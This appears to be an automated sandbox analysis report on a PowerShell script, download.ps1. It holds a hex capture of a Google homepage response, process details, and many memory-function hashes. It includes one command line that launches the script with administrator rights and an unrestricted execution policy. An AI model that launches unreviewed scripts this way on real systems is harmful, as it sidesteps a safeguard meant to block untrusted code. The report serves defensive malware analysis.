Dec 20, 2024 17:35:02.113485098 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:35:01 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-q0Qh02Fx1ZnHOkNjcAOMoA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AZ6Zc-UuwSqp7jMCpK3Q7KQmFGwbwfDATqpZ2DCKsn6ORyXfP56qtTyG_4Y; expires=Wed, 18-Jun-2025 16:35:01 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=520=aTIcA8crpYEB7IB6vvXsUR6C-Xm9ccJiDEy38Fof5DTpwmnmEtEpQO6LCpaa8MyPdIjS6YT7aesJmo6eeyIpoc-4lKojs2giYNheQ8fYtNt7g-y1b585f-ejbprZkhpUr64RwNAyPAo8UqAAB0AOz-qT1PZXbkktOBXLxMOgV_OxmTSHLFJ9_xDsTqGU4Gndn6ZTF8I_Yw; expires=Sat, 21-Jun-2025 16:35:01 GMT; path=/; domain=.google.com; HttpOnly Accept-Ranges: none Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 34 39 62 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 Data Ascii: 49b6<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images
Dec 20, 2024 17:35:02.113584042 CET	1236	IN	Data Raw: 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 61 73 20 6d 61 6e 79 20 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 Data Ascii: , videos and more. Google has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/
Dec 20, 2024 17:35:02.113621950 CET	1236	IN	Data Raw: 22 71 30 51 68 30 32 46 78 31 5a 6e 48 4f 6b 4e 6a 63 41 4f 4d 6f 41 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 67 3d 7b 6b 45 49 3a 27 74 5a 78 6c 5a 39 66 30 49 39 71 38 30 2d 6b 50 78 50 66 6c 30 41 49 27 2c 6b 45 58 50 49 3a 27 Data Ascii: "q0Qh02Fx1ZnHOkNjcAOMoA">(function(){var _g={kEI:'tZxlZ9f0I9q80-kPxPfl0AI',kEXPI:'0,202747,606134,2891371,1132,541533,2891,8348,159026,256416,10161,45786,9779,68707,30697,3801,2412,50869,7734,6626,1,12047,20674,1428,87,117,29279,27083,5213672,
Dec 20, 2024 17:35:02.113723040 CET	1236	IN	Data Raw: 36 2c 35 30 2c 31 2c 36 2c 31 30 39 31 2c 33 33 2c 31 30 39 2c 35 37 30 2c 33 32 2c 32 32 34 2c 32 34 34 2c 32 35 32 2c 37 38 2c 33 36 32 2c 36 31 2c 33 31 31 2c 31 32 31 2c 33 33 39 2c 31 34 33 2c 33 34 35 2c 34 36 35 2c 36 36 35 2c 31 32 39 32 Data Ascii: 6,50,1,6,1091,33,109,570,32,224,244,252,78,362,61,311,121,339,143,345,465,665,1292,4450,733,149,2,21349008,37198,18,2780,704,866,4392,845,48,155,553,1774,8,772,1293,3,1207,592,17,294,602,5985129,2038088',kBL:'bBJX',kOPI:89978449};(function(){v
Dec 20, 2024 17:35:02.113758087 CET	1236	IN	Data Raw: 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 2c 63 2c 68 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6b 3a 65 3b 64 7c 7c 28 64 3d 72 28 61 2c 62 2c 65 2c 63 2c 68 29 29 3b 69 66 28 64 3d 71 28 64 29 29 7b 61 3d 6e 65 77 20 Data Ascii: e.log=function(a,b,d,c,h,e){e=e===void 0?k:e;d\|\|(d=r(a,b,e,c,h));if(d=q(d)){a=new Image;var f=m.length;m[f]=a;a.onerror=a.onload=a.onabort=function(){delete m[f]};a.src=d}};google.logUrl=function(a,b){b=b===void 0?k:b;return r("",a,b)};}).call
Dec 20, 2024 17:35:02.113794088 CET	1236	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 61 3d 61 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 Data Ascii: documentElement;a=a.parentElement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);</script><style>#gb{font:13px/27px Arial,sans-serif;height:30px}#gbz,#gbg{position:absolute;white
Dec 20, 2024 17:35:02.113828897 CET	1236	IN	Data Raw: 30 2c 30 2c 2e 32 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 7d 2e 67 62 72 74 6c 20 2e 67 62 6d 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 31 70 78 20 31 70 78 20 31 70 Data Ascii: 0,0,.2);box-shadow:0 2px 4px rgba(0,0,0,.2)}.gbrtl .gbm{-moz-box-shadow:1px 1px 1px rgba(0,0,0,.2)}.gbto .gbm,.gbto #gbs{top:29px;visibility:visible}#gbz .gbm{left:0}#gbg .gbm{right:0}.gbxms{background-color:#ccc;display:block;position:absolut
Dec 20, 2024 17:35:02.114182949 CET	1236	IN	Data Raw: 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 7d 2e 67 62 7a 74 2c 2e 67 62 67 74 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 65 78 74 2d 64 Data Ascii: ox-shadow:0 2px 4px rgba(0,0,0,.2)}.gbzt,.gbgt{cursor:pointer;display:block;text-decoration:none !important}span#gbg6,span#gbg4{cursor:default}.gbts{border-left:1px solid transparent;border-right:1px solid transparent;display:block;*display:in
Dec 20, 2024 17:35:02.114217043 CET	1236	IN	Data Raw: 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 7d 23 67 62 67 36 2e 67 62 67 74 2d 68 76 72 2c 23 67 62 67 36 2e 67 62 67 74 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 Data Ascii: {font-weight:bold}#gbg6.gbgt-hvr,#gbg6.gbgt:focus{background-color:transparent;background-image:none}.gbg4a{font-size:0;line-height:0}.gbg4a .gbts{padding:27px 5px 0;padding:25px 5px 0}.gbto .gbg4a .gbts{padding:29px 5px 1px;padding:27px 5px
Dec 20, 2024 17:35:02.114264965 CET	1236	IN	Data Raw: 20 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 67 62 6d 74 2c 2e 67 62 6d 74 3a 76 69 73 69 74 65 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 67 62 6d Data Ascii: !important;text-decoration:none !important}.gbmt,.gbmt:visited{display:block}.gbml1,.gbmlb,.gbml1:visited,.gbmlb:visited{display:inline-block;margin:0 10px}.gbml1,.gbmlb,.gbml1:visited,.gbmlb:visited{*display:inline}.gbml1,.gbml1:visited{padd
Dec 20, 2024 17:35:02.233639002 CET	1236	IN	Data Raw: 7d 2e 47 42 4d 43 43 3a 6c 61 73 74 2d 63 68 69 6c 64 3a 61 66 74 65 72 2c 23 47 42 4d 50 41 4c 3a 6c 61 73 74 2d 63 68 69 6c 64 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 27 5c 30 41 5c 30 41 27 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 Data Ascii: }.GBMCC:last-child:after,#GBMPAL:last-child:after{content:'\0A\0A';white-space:pre;position:absolute}#gbmps{*zoom:1}#gbd4 .gbpc,#gbmpas .gbmt{line-height:17px}#gbd4 .gbpgs .gbmtc{line-height:27px}#gbd4 .gbmtc{border-bottom:1px solid #bebebe}#g

Target ID:	0
Start time:	11:34:50
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:34:50
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFAAC487E56 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46edf4861deb93ee85c1713013f638b9e232984af3ebd1fb748f65a1adb5390c
Instruction ID: b1ef69953a0f9642fc041968d7375bab8e31e5ac3a489d056a63334426c5662c
Opcode Fuzzy Hash: 46edf4861deb93ee85c1713013f638b9e232984af3ebd1fb748f65a1adb5390c
Instruction Fuzzy Hash: 77F18030909A8E8FEBA8DF28C8597F977E1FF55310F04826AE85DC7291DF3499458B81

Function 00007FFAAC488C02 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba91584c085e51aa9d577b06d1e575793293f8d6c841d5dc33365002982e4d4
Instruction ID: 08678478306671557e96ee74c5859aa9004e6b433b626d62b0c97dcba130a599
Opcode Fuzzy Hash: cba91584c085e51aa9d577b06d1e575793293f8d6c841d5dc33365002982e4d4
Instruction Fuzzy Hash: 2AE1B130909A8E8FEBA8DF28C8597F977E1FF55310F14826AD85DC7291DA34E9448BC1

Function 00007FFAAC6C19BA Relevance: 4.1, Strings: 3, Instructions: 384COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFAAC6C1B22
/, xrefs: 00007FFAAC6C1BB5
/, xrefs: 00007FFAAC6C1CF4

Memory Dump Source

Source File: 00000000.00000002.1437971389.00007FFAAC6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC6C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac6c0000_powershell.jbxd

Similarity

API ID:
String ID: /$/$/
API String ID: 0-844086808
Opcode ID: e741d7398572e5a356ef21c361fb6c635c9fa188a9510184bd45059c99b08f9d
Instruction ID: c2a18e8d8d562600f0bf7891d828d5e38a083dfbb40f2cb3345c9d2c55e31901
Opcode Fuzzy Hash: e741d7398572e5a356ef21c361fb6c635c9fa188a9510184bd45059c99b08f9d
Instruction Fuzzy Hash: A2C11662A0DB898FF797DB2884555747BE1EF66211F1461BEE04DC71A3EE28EC0983C1

Function 00007FFAAC6C19F9 Relevance: 2.7, Strings: 2, Instructions: 240COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFAAC6C1B22
/, xrefs: 00007FFAAC6C1BB5

Memory Dump Source

Source File: 00000000.00000002.1437971389.00007FFAAC6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC6C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac6c0000_powershell.jbxd

Similarity

API ID:
String ID: /$/
API String ID: 0-972056843
Opcode ID: 1bdd2147675d0b634fa7966663618b74b2f482ddc725936748ebccfc6fa2547a
Instruction ID: fa60643147a73c58cc09f4454d0411c4cb3cf4beb8432c015ee78be3e98e1c82
Opcode Fuzzy Hash: 1bdd2147675d0b634fa7966663618b74b2f482ddc725936748ebccfc6fa2547a
Instruction Fuzzy Hash: 6F71477290DB898FF797DB6884491747BD1EF66311B1861BED04DC71A2EE28DC0987C1

Function 00007FFAAC47967A Relevance: 1.9, Strings: 1, Instructions: 609COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC479A96

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 67da24d2f3c3ca1cb6f3a7d283b8f62abf210e2c1b7d9fe3998fe53658283f35
Instruction ID: f25ae744f4561050448b8e0de212ed3bac104d62c2ba88b80be8dd693ab5d594
Opcode Fuzzy Hash: 67da24d2f3c3ca1cb6f3a7d283b8f62abf210e2c1b7d9fe3998fe53658283f35
Instruction Fuzzy Hash: E312B330A18A598FEF88DF5CC495AA9BBE1FF69314F14416DD40EC7296CA34E885CBC1

Function 00007FFAAC477B5C Relevance: 1.8, Strings: 1, Instructions: 513COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC477E9C

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 9835c8aec1abf59f4f9febf0e475ae110d9f9801cf7f8d27339a6bbebec3c0d5
Instruction ID: 9c3d3ab87e60a0e8899d15b2e003deacd887a94ea9a69901dc76cea7e227f62d
Opcode Fuzzy Hash: 9835c8aec1abf59f4f9febf0e475ae110d9f9801cf7f8d27339a6bbebec3c0d5
Instruction Fuzzy Hash: A5F1B130A18A49CFEB99DF58C485EA97BE1FF99304F54416AD40DD7296CA34E886CBC0

Function 00007FFAAC478A1D Relevance: 1.7, Strings: 1, Instructions: 455COMMON

Download Yara Rule

Strings

8h, xrefs: 00007FFAAC478BE4

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID: 8h
API String ID: 0-2550175997
Opcode ID: 736af0654443e4d4e7018ce34a1a167fe19fa9ff6640201659dfd4d8426a71eb
Instruction ID: e2295bc90556dfb695c50b52fe0edc267f848e7f81d632e3363060a98dbf928d
Opcode Fuzzy Hash: 736af0654443e4d4e7018ce34a1a167fe19fa9ff6640201659dfd4d8426a71eb
Instruction Fuzzy Hash: 9CE1363090DA498FEB59DF1CC885AA57BE1FF5A314F1481BAE04ED7296DA24EC46C7C0

Function 00007FFAAC4825B0 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3116c90203f6992768441c35d636fe399c274e8710e4aaba7f36efbdb2c36db
Instruction ID: 945736ee089b68ec27aba0d196df108e037bd57935800f4587cb1affba20d253
Opcode Fuzzy Hash: f3116c90203f6992768441c35d636fe399c274e8710e4aaba7f36efbdb2c36db
Instruction Fuzzy Hash: 8A81F67180EB888FE7699B68581D5B57FA0EF66314F0881BFE08D97197CA14A90887C6

Function 00007FFAAC488816 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 974cb8c845b072bae59e36e581a8d362d2be26cf6c4646730a82910dc4525eea
Instruction ID: e34e94d75583464128a4eecbeecf02cf339834dd38740bc32464104d9d01f3b8
Opcode Fuzzy Hash: 974cb8c845b072bae59e36e581a8d362d2be26cf6c4646730a82910dc4525eea
Instruction Fuzzy Hash: 24B1B570509A8D8FEBA9DF28C8557F93BD1FF55310F04826AE84DC7292CA349945CB86

Function 00007FFAAC482615 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735d580432cb50005971eb975777085c00af68fd8553d098c21fa1941d6ecc4c
Instruction ID: 8b09008865f9fe90724d89e792a3b4f248377212b4500770aebe4bcd7ea50478
Opcode Fuzzy Hash: 735d580432cb50005971eb975777085c00af68fd8553d098c21fa1941d6ecc4c
Instruction Fuzzy Hash: 8351177190DBC88FE71A9B2C98196B97FE0EF56314F0441AFE08CD7197CA24A949C7C6

Function 00007FFAAC35E620 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1433381319.00007FFAAC35D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC35D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac35d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acebee4a6d3c83f8a069330c3ed097b748170d3679d1f51c1d61fdc0e2695331
Instruction ID: ddc61402e517305e14e57dfeac794ef472329bf873c5068e3244ce9ed3d04643
Opcode Fuzzy Hash: acebee4a6d3c83f8a069330c3ed097b748170d3679d1f51c1d61fdc0e2695331
Instruction Fuzzy Hash: 0741167140DBC48FE3568B2898499527FF0EF53260B1505DFD088CB1A3D629EC4AC7E2

Function 00007FFAAC47644B Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdee8dd71bbc458b00b4788d326c0f91d83ec72fc56d0c2de61ba36963d68a45
Instruction ID: 0a75df5b96ed34cc43abef02b997fe85d1b769c95b151af9455e96ac094a1e91
Opcode Fuzzy Hash: fdee8dd71bbc458b00b4788d326c0f91d83ec72fc56d0c2de61ba36963d68a45
Instruction Fuzzy Hash: 6D314E70A189198FEF98EF58D445EE977E1FF69304F24416AE40ED7296CE24EC818BC4

Function 00007FFAAC482CC8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d02c0854352998a22f07cda7e4080e02da9f83bd96f87ace300fc1d5a7ebe0
Instruction ID: 28a91110c0e45bbad7438d935f30432f63d6959491890b93ac5edc12a7d2c3f1
Opcode Fuzzy Hash: e6d02c0854352998a22f07cda7e4080e02da9f83bd96f87ace300fc1d5a7ebe0
Instruction Fuzzy Hash: 9421073090CB4C8FDB59DFAC984A7E97FE0EB96321F04826BD44DC3152DA74945ACB91

Function 00007FFAAC488314 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 076c832df77ca47a1681688b66ced57a69006dc8b533476611721c261bd966c2
Instruction ID: c34063ea298709d12569933ae173468d4422b7ec1a8068ca09817ae80ab196d4
Opcode Fuzzy Hash: 076c832df77ca47a1681688b66ced57a69006dc8b533476611721c261bd966c2
Instruction Fuzzy Hash: 0131183081A65ECFFBB4EB14CC4ABF932D0FF42318F408539D40D86092DA39AA89CB45

Function 00007FFAAC47614A Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e327091e658c08c194f45f753c311bc03f861fc2c3b965d6e631da5b7fea7c3
Instruction ID: 6834811277435d4f8ec53fc95fd05099730ac6aca9c2d1ea94a004466efc43f5
Opcode Fuzzy Hash: 3e327091e658c08c194f45f753c311bc03f861fc2c3b965d6e631da5b7fea7c3
Instruction Fuzzy Hash: D2014E72B1CB044FE758DE1CA8854A177D1D795320F10053ED0CAC3397D922EC478781

Function 00007FFAAC475395 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d59e4eb7c371b3986a24ff2f7eba5badb208033cfd86feb3444ef1584906f3c2
Instruction ID: 26819e8c9ef94eff4ede27d35892e635590bae6da0b77562b494be2323d4bc5b
Opcode Fuzzy Hash: d59e4eb7c371b3986a24ff2f7eba5badb208033cfd86feb3444ef1584906f3c2
Instruction Fuzzy Hash: 0201677111CB0C8FDB44EF0CE451AA9B7E0FB95364F10056DE58AC3665D636E881CB45

Function 00007FFAAC721E92 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1438667242.00007FFAAC720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac720000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20cef466d2d3d7db2e701596999bd664edc448b74f6823fe35967b2f38f3e3a6
Instruction ID: 13cbb1a8ef4e91a1ed73d4ab44ac7b23554a222244cba6c0cccae37b26f9a983
Opcode Fuzzy Hash: 20cef466d2d3d7db2e701596999bd664edc448b74f6823fe35967b2f38f3e3a6
Instruction Fuzzy Hash: 61F09A32A0D6488FE768EB1CE8468A873F0FF4632071480F6E04DC7863EA26EC05C780

Function 00007FFAAC477C58 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6156d114742eb9744de8f202f99af35aeed31ed3c1c5f4a70b868910538c4c04
Instruction ID: 2ede21fd0b666847a286038f9ce1185fd1802edf901f7b1a1a675e4c35c751cb
Opcode Fuzzy Hash: 6156d114742eb9744de8f202f99af35aeed31ed3c1c5f4a70b868910538c4c04
Instruction Fuzzy Hash: 84F0373275C6048FDB4CAA1CF4429B573D1E799324B10457EE48BC2696D917E8868685

Function 00007FFAAC722140 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1438667242.00007FFAAC720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac720000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cba3bd2ca759baada0a85e4f05f85cfa883aa59767345b0b31c49b8b251b387
Instruction ID: 8a7cc516d36c6b51c25341b41fc89655ddc742016bb07a69070d68944cb9906c
Opcode Fuzzy Hash: 9cba3bd2ca759baada0a85e4f05f85cfa883aa59767345b0b31c49b8b251b387
Instruction Fuzzy Hash: 0BF05E32A4D5448FE758EB5CE445CA877F0EF45320B1540F6E14ECB463EA25EC44C780

Function 00007FFAAC482B28 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b771f5cdf1a99f139a12660bfa3386aee9975b906fcd68a6f3102192a98239d
Instruction ID: 650eb038b1bc0027b3a6f7c1002a2841b12620dec6d60370042a134a29891db7
Opcode Fuzzy Hash: 9b771f5cdf1a99f139a12660bfa3386aee9975b906fcd68a6f3102192a98239d
Instruction Fuzzy Hash: 45E09271804B8C8F8B49DF1884594E97FA0FF25205B04029AE40DC7120D7719658CBC1

Non-executed Functions

Function 00007FFAAC6C7CFD Relevance: 2.0, Strings: 1, Instructions: 795COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC6C7D38

Memory Dump Source

Source File: 00000000.00000002.1437971389.00007FFAAC6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC6C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac6c0000_powershell.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 305038e4ceea68aa292161207716a46ac481b1ffb492bd19d6379c557d139895
Instruction ID: 31d156273e3654e781a70ab190ab2c5391c815b28d4232e4e0a34337ca2e3108
Opcode Fuzzy Hash: 305038e4ceea68aa292161207716a46ac481b1ffb492bd19d6379c557d139895
Instruction Fuzzy Hash: 7D32386290EB898FF7A7DB2898595B53BE1EF9A310F0851BAD04DC7193D918EC09C3D1

Function 00007FFAAC480B6A Relevance: .8, Instructions: 768COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1434096171.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac470000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65fb7ce404622542eee6366f6eab477797c8d919065b31f5bb5bb1c3d7569329
Instruction ID: bdd948193232c9539ba4650d0ec99f4fed9a0db9fe6ea82c9e344cd1787be994
Opcode Fuzzy Hash: 65fb7ce404622542eee6366f6eab477797c8d919065b31f5bb5bb1c3d7569329
Instruction Fuzzy Hash: A532C652A1F7C6CFF353572858690F57FA0EF53269B0981F7C0D98B093E909A90E83A5

Function 00007FFAAC6C6D1A Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1437971389.00007FFAAC6C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC6C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac6c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
